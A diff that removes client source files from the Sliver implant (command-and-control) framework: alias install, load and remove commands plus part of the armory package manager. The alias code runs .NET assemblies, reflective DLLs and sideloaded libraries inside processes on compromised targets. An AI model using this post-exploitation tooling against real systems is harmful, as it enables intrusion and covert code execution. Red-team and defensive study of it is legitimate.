-	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
-		return
-	}
-	manifest, err := ParseAliasManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
-		return
-	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Alias '%s' already exists", manifest.Name)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite current install?"}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nError creating alias directory: %s\n", err)
-		return
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return
-	}
-
-	for _, cmdFile := range manifest.Files {
-		if cmdFile.Path != "" {
-			src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
-			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
-			err := util.CopyFile(src, dst)
-			if err != nil {
-				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
-				forceRemoveAll(installPath)
-				return
-			}
-		}
-	}
-
-	con.Printf("done!\n")
-}
-
-// Install an extension from a .tar.gz file
-func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
-	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
-		return nil
-	}
-	manifest, err := ParseAliasManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
-		return nil
-	}
-	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		if !autoOverwrite {
-			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
-			confirm := false
-			prompt := &survey.Confirm{Message: "Overwrite current install?"}
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return nil
-			}
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
-		return nil
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return nil
-	}
-	for _, aliasFile := range manifest.Files {
-		if aliasFile.Path != "" {
-			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
-			if err != nil {
-				con.PrintErrorf("\nFailed to install file: %s\n", err)
-				forceRemoveAll(installPath)
-				return nil
-			}
-		}
-	}
-	con.Printf("done!\n")
-	return &installPath
-}
-
-func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
-	if err != nil {
-		return err
-	}
-	if len(data) == 0 {
-		return fmt.Errorf("empty file %s", artifactPath)
-	}
-	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
-	artifactDir := filepath.Dir(localArtifactPath)
-	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
-		os.MkdirAll(artifactDir, 0o700)
-	}
-	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-func forceRemoveAll(rootPath string) {
-	util.ChmodR(rootPath, 0o600, 0o700)
-	os.RemoveAll(rootPath)
-}

client/command/alias/load.go

@@ -1,442 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
-)
-
-const (
-	defaultTimeout = 60
-
-	ManifestFileName = "alias.json"
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var (
-	// alias name -> manifest/command
-	loadedAliases = map[string]*loadedAlias{}
-
-	defaultHostProc = map[string]string{
-		"windows": windowsDefaultHostProc,
-		"linux":   windowsDefaultHostProc,
-		"darwin":  macosDefaultHostProc,
-	}
-)
-
-// Ties the manifest struct to the command struct
-type loadedAlias struct {
-	Manifest *AliasManifest
-	Command  *grumble.Command
-}
-
-// AliasFile - An OS/Arch specific file
-type AliasFile struct {
-	OS   string `json:"os"`
-	Arch string `json:"arch"`
-	Path string `json:"path"`
-}
-
-// AliasManifest - The manifest for an alias, contains metadata
-type AliasManifest struct {
-	Name           string `json:"name"`
-	Version        string `json:"version"`
-	CommandName    string `json:"command_name"`
-	OriginalAuthor string `json:"original_author"`
-	RepoURL        string `json:"repo_url"`
-	Help           string `json:"help"`
-	LongHelp       string `json:"long_help"`
-
-	Entrypoint   string       `json:"entrypoint"`
-	AllowArgs    bool         `json:"allow_args"`
-	DefaultArgs  string       `json:"default_args"`
-	Files        []*AliasFile `json:"files"`
-	IsReflective bool         `json:"is_reflective"`
-	IsAssembly   bool         `json:"is_assembly"`
-
-	RootPath string `json:"-"`
-}
-
-func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
-	filePath := ""
-	for _, extFile := range a.Files {
-		if targetOS == extFile.OS && targetArch == extFile.Arch {
-			filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
-			break
-		}
-	}
-	if filePath == "" {
-		err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
-		return "", err
-	}
-	if _, err := os.Stat(filePath); os.IsNotExist(err) {
-		err = fmt.Errorf("alias file not found: %s", filePath)
-		return "", err
-	}
-	return filePath, nil
-}
-
-// AliasesLoadCmd - Locally load a alias into the Sliver shell.
-func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	dirPath := ctx.Args.String("dir-path")
-	alias, err := LoadAlias(dirPath, con)
-	if err != nil {
-		con.PrintErrorf("Failed to load alias: %s\n", err)
-	} else {
-		con.PrintInfof("%s alias has been loaded\n", alias.Name)
-	}
-}
-
-// LoadAlias - Load an alias into the Sliver shell from a given directory
-func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
-	// retrieve alias manifest
-	var err error
-	manifestPath, err = filepath.Abs(manifestPath)
-	if err != nil {
-		return nil, err
-	}
-
-	// parse it
-	data, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		return nil, err
-	}
-	aliasManifest, err := ParseAliasManifest(data)
-	if err != nil {
-		return nil, err
-	}
-	aliasManifest.RootPath = filepath.Dir(manifestPath)
-	// for each alias command, add a new app command
-
-	// do not add if the command already exists
-	if cmdExists(aliasManifest.CommandName, con.App) {
-		return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
-	}
-
-	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
-	addAliasCmd := &grumble.Command{
-		Name:     aliasManifest.CommandName,
-		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
-		Run: func(extCtx *grumble.Context) error {
-			con.Println()
-			runAliasCommand(extCtx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			if aliasManifest.IsAssembly {
-				f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-			}
-			f.String("p", "process", "", "Path to process to host the shared object")
-			f.Bool("s", "save", false, "Save output to disk")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.StringList("arguments", "arguments", grumble.Default([]string{}))
-		},
-		HelpGroup: consts.AliasHelpGroup,
-	}
-	con.App.AddCommand(addAliasCmd)
-
-	// Have to use a global map here, as passing the aliasCmd
-	// either by value or by ref fucks things up
-	loadedAliases[aliasManifest.CommandName] = &loadedAlias{
-		Manifest: aliasManifest,
-		Command:  addAliasCmd,
-	}
-
-	return aliasManifest, nil
-}
-
-// ParseAliasManifest - Parse an alias manifest
-func ParseAliasManifest(data []byte) (*AliasManifest, error) {
-	// parse it
-	alias := &AliasManifest{}
-	err := json.Unmarshal(data, alias)
-	if err != nil {
-		return nil, err
-	}
-	if alias.Name == "" {
-		return nil, fmt.Errorf("missing alias name in manifest")
-	}
-	if alias.CommandName == "" {
-		return nil, fmt.Errorf("missing command.name in alias manifest")
-	}
-	if alias.Help == "" {
-		return nil, fmt.Errorf("missing command.help in alias manifest")
-	}
-
-	for _, aliasFile := range alias.Files {
-		if aliasFile.OS == "" {
-			return nil, fmt.Errorf("missing command.files.os in alias manifest")
-		}
-		aliasFile.OS = strings.ToLower(aliasFile.OS)
-		if aliasFile.Arch == "" {
-			return nil, fmt.Errorf("missing command.files.arch in alias manifest")
-		}
-		aliasFile.Arch = strings.ToLower(aliasFile.Arch)
-		aliasFile.Path = util.ResolvePath(aliasFile.Path)
-		if aliasFile.Path == "" || aliasFile.Path == "/" {
-			return nil, fmt.Errorf("missing command.files.path in alias manifest")
-		}
-	}
-
-	return alias, nil
-}
-
-func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-	var goos string
-	var goarch string
-	if session != nil {
-		goos = session.OS
-		goarch = session.Arch
-	} else {
-		goos = beacon.OS
-		goarch = beacon.Arch
-	}
-
-	loadedAlias, ok := loadedAliases[ctx.Command.Name]
-	if !ok {
-		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
-		return
-	}
-	aliasManifest := loadedAlias.Manifest
-	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
-	if err != nil {
-		con.PrintErrorf("Fail to find alias file: %s\n", err)
-		return
-	}
-	args := ctx.Args.StringList("arguments")
-	var extArgs string
-	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
-		extArgs = aliasManifest.DefaultArgs
-	} else {
-		extArgs = strings.Join(args, " ")
-	}
-	entryPoint := aliasManifest.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = aliasManifest.getDefaultProcess(goos)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-
-	if aliasManifest.IsAssembly {
-
-		// Execute Assembly
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
-			con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, executeAssemblyResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(executeAssemblyResp.Response)
-		} else {
-			PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
-		}
-
-	} else if aliasManifest.IsReflective {
-
-		// Spawn DLL
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveTarget.Request(ctx),
-			Args:        strings.Trim(extArgs, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  aliasManifest.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
-			con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, spawnDllResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(spawnDllResp.Response)
-		} else {
-			PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
-		}
-
-	} else {
-
-		// Sideload
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveTarget.Request(ctx),
-			Args:        extArgs,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-			IsDLL:       isDLL,
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if sideloadResp.Response != nil && sideloadResp.Response.Async {
-			con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, sideloadResp)
-				if err != nil {
-					con.PrintErrorf("Failed to decode call ext response %s\n", err)
-					return
-				}
-				PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
-			})
-			con.PrintAsyncResponse(sideloadResp.Response)
-		} else {
-			PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
-		}
-	}
-}
-
-// PrintSpawnDLLOutput - Prints the output of a spawn dll command
-func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(spawnDllResp.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-// PrintSideloadOutput - Prints the output of a sideload command
-func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(sideloadResp.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-// PrintAssemblyOutput - Prints the output of an execute-assembly command
-func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
-	if outFilePath != nil {
-		outFilePath.Write(execAsmResp.GetOutput())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
-}
-
-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
-		}
-	}
-	return false
-}

client/command/alias/remove.go

@@ -1,75 +0,0 @@
-package alias
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-	"fmt"
-	"os"
-	"path/filepath"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-)
-
-// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
-func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("Extension name is required\n")
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
-	err := RemoveAliasByCommandName(name, con)
-	if err != nil {
-		con.PrintErrorf("Error removing alias: %s\n", err)
-		return
-	} else {
-		con.PrintInfof("Alias '%s' removed\n", name)
-	}
-}
-
-// RemoveAliasByCommandName - Remove an alias by command name
-func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
-	if commandName == "" {
-		return errors.New("command name is required")
-	}
-	if _, ok := loadedAliases[commandName]; !ok {
-		return errors.New("alias not loaded")
-	}
-	delete(loadedAliases, commandName)
-	con.App.Commands().Remove(commandName)
-	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
-	if _, err := os.Stat(extPath); os.IsNotExist(err) {
-		return nil
-	}
-	err := os.RemoveAll(extPath)
-	if err != nil {
-		return err
-	}
-
-	return nil
-}

client/command/armory/armory.go

@@ -1,486 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/base64"
-	"errors"
-	"fmt"
-	"net/url"
-	"strings"
-	"sync"
-	"time"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"golang.org/x/term"
-)
-
-type ArmoryIndex struct {
-	Aliases    []*ArmoryPackage `json:"aliases"`
-	Extensions []*ArmoryPackage `json:"extensions"`
-	Bundles    []*ArmoryBundle  `json:"bundles"`
-}
-
-type ArmoryPackage struct {
-	Name        string `json:"name"`
-	CommandName string `json:"command_name"`
-	RepoURL     string `json:"repo_url"`
-	PublicKey   string `json:"public_key"`
-
-	IsAlias bool `json:"-"`
-}
-
-type ArmoryBundle struct {
-	Name     string   `json:"name"`
-	Packages []string `json:"packages"`
-}
-
-type ArmoryHTTPConfig struct {
-	IgnoreCache          bool
-	ProxyURL             *url.URL
-	Timeout              time.Duration
-	DisableTLSValidation bool
-}
-
-type indexCacheEntry struct {
-	RepoURL string
-	Fetched time.Time
-	Index   ArmoryIndex
-	LastErr error
-}
-
-type pkgCacheEntry struct {
-	RepoURL   string
-	Fetched   time.Time
-	Pkg       ArmoryPackage
-	Sig       minisign.Signature
-	Alias     *alias.AliasManifest
-	Extension *extensions.ExtensionManifest
-	LastErr   error
-}
-
-var (
-	// public key -> armoryCacheEntry
-	indexCache = sync.Map{}
-	// public key -> armoryPkgCacheEntry
-	pkgCache = sync.Map{}
-
-	cacheTime      = time.Hour // This will kill a download if exceeded so needs to be large
-	defaultTimeout = 15 * time.Minute
-)
-
-// ArmoryCmd - The main armory command
-func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	armoriesConfig := assets.GetArmoriesConfig()
-	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
-	clientConfig := parseArmoryHTTPConfig(ctx)
-	indexes := fetchIndexes(armoriesConfig, clientConfig)
-	if len(indexes) != len(armoriesConfig) {
-		con.Printf("errors!\n")
-		indexCache.Range(func(key, value interface{}) bool {
-			cacheEntry := value.(indexCacheEntry)
-			if cacheEntry.LastErr != nil {
-				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
-			}
-			return true
-		})
-	} else {
-		con.Printf("done!\n")
-	}
-
-	if 0 < len(indexes) {
-		con.PrintInfof("Fetching package information ... ")
-		fetchPackageSignatures(indexes, clientConfig)
-		errorCount := 0
-		aliases := []*alias.AliasManifest{}
-		exts := []*extensions.ExtensionManifest{}
-		pkgCache.Range(func(key, value interface{}) bool {
-			cacheEntry := value.(pkgCacheEntry)
-			if cacheEntry.LastErr != nil {
-				errorCount++
-				if errorCount == 0 {
-					con.Printf("errors!\n")
-				}
-				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
-			} else {
-				if cacheEntry.Pkg.IsAlias {
-					aliases = append(aliases, cacheEntry.Alias)
-				} else {
-					exts = append(exts, cacheEntry.Extension)
-				}
-			}
-			return true
-		})
-		if errorCount == 0 {
-			con.Printf("done!\n")
-		}
-		if 0 < len(aliases) || 0 < len(exts) {
-			con.Println()
-			PrintArmoryPackages(aliases, exts, con)
-		} else {
-			con.PrintInfof("No packages found\n")
-		}
-
-		con.Println()
-		bundles := bundlesInCache()
-		if 0 < len(bundles) {
-			PrintArmoryBundles(bundles, con)
-		} else {
-			con.PrintInfof("No bundles found\n")
-		}
-	} else {
-		con.PrintInfof("No indexes found\n")
-	}
-}
-
-func refresh(clientConfig ArmoryHTTPConfig) {
-	armoriesConfig := assets.GetArmoriesConfig()
-	indexes := fetchIndexes(armoriesConfig, clientConfig)
-	fetchPackageSignatures(indexes, clientConfig)
-}
-
-func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
-	aliases := []*alias.AliasManifest{}
-	exts := []*extensions.ExtensionManifest{}
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.LastErr == nil {
-			if cacheEntry.Pkg.IsAlias {
-				aliases = append(aliases, cacheEntry.Alias)
-			} else {
-				exts = append(exts, cacheEntry.Extension)
-			}
-		}
-		return true
-	})
-	return aliases, exts
-}
-
-func bundlesInCache() []*ArmoryBundle {
-	bundles := []*ArmoryBundle{}
-	indexCache.Range(func(key, value interface{}) bool {
-		indexBundles := value.(indexCacheEntry).Index.Bundles
-		bundles = append(bundles, indexBundles...)
-		return true
-	})
-	return bundles
-}
-
-// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
-func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	results := []string{}
-	aliases, exts := packagesInCache()
-	bundles := bundlesInCache()
-	for _, aliasPkg := range aliases {
-		if strings.HasPrefix(aliasPkg.CommandName, prefix) {
-			results = append(results, aliasPkg.CommandName)
-		}
-	}
-	for _, extensionPkg := range exts {
-		if strings.HasPrefix(extensionPkg.CommandName, prefix) {
-			results = append(results, extensionPkg.CommandName)
-		}
-	}
-	for _, bundle := range bundles {
-		if strings.HasPrefix(bundle.Name, prefix) {
-			results = append(results, bundle.Name)
-		}
-	}
-	return results
-}
-
-// PrintArmoryPackages - Prints the armory packages
-func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
-	width, _, err := term.GetSize(0)
-	if err != nil {
-		width = 999
-	}
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Packages" + console.Normal)
-
-	minWidth := 150
-	if minWidth < width {
-		tw.AppendHeader(table.Row{
-			"Command Name",
-			"Version",
-			"Type",
-			"Help",
-			"URL",
-		})
-	} else {
-		tw.AppendHeader(table.Row{
-			"Command Name",
-			"Version",
-			"Type",
-			"Help",
-		})
-	}
-
-	// Columns start at 1 for some dumb reason
-	tw.SortBy([]table.SortBy{
-		{Number: 1, Mode: table.Asc},
-	})
-
-	type pkgInfo struct {
-		CommandName string
-		Version     string
-		Type        string
-		Help        string
-		URL         string
-	}
-	entries := []pkgInfo{}
-	for _, aliasPkg := range aliases {
-		entries = append(entries, pkgInfo{
-			CommandName: aliasPkg.CommandName,
-			Version:     aliasPkg.Version,
-			Type:        "Alias",
-			Help:        aliasPkg.Help,
-			URL:         aliasPkg.RepoURL,
-		})
-	}
-	for _, extension := range exts {
-		entries = append(entries, pkgInfo{
-			CommandName: extension.CommandName,
-			Version:     extension.Version,
-			Type:        "Extension",
-			Help:        extension.Help,
-			URL:         extension.RepoURL,
-		})
-	}
-
-	rows := []table.Row{}
-	for _, pkg := range entries {
-		color := console.Normal
-		if extensions.CmdExists(pkg.CommandName, con.App) {
-			color = console.Green
-		}
-		if minWidth < width {
-			rows = append(rows, table.Row{
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
-			})
-		} else {
-			rows = append(rows, table.Row{
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
-				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
-			})
-		}
-	}
-	tw.AppendRows(rows)
-	con.Printf("%s\n", tw.Render())
-}
-
-// PrintArmoryBundles - Prints the armory bundles
-func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
-	tw.AppendHeader(table.Row{
-		"Name",
-		"Contains",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
-	for _, bundle := range bundles {
-		tw.AppendRow(table.Row{
-			bundle.Name,
-			strings.Join(bundle.Packages, ", "),
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
-	var proxyURL *url.URL
-	rawProxyURL := ctx.Flags.String("proxy")
-	if rawProxyURL != "" {
-		proxyURL, _ = url.Parse(rawProxyURL)
-	}
-
-	timeout := defaultTimeout
-	rawTimeout := ctx.Flags.String("timeout")
-	if rawTimeout != "" {
-		var err error
-		timeout, err = time.ParseDuration(rawTimeout)
-		if err != nil {
-			timeout = defaultTimeout
-		}
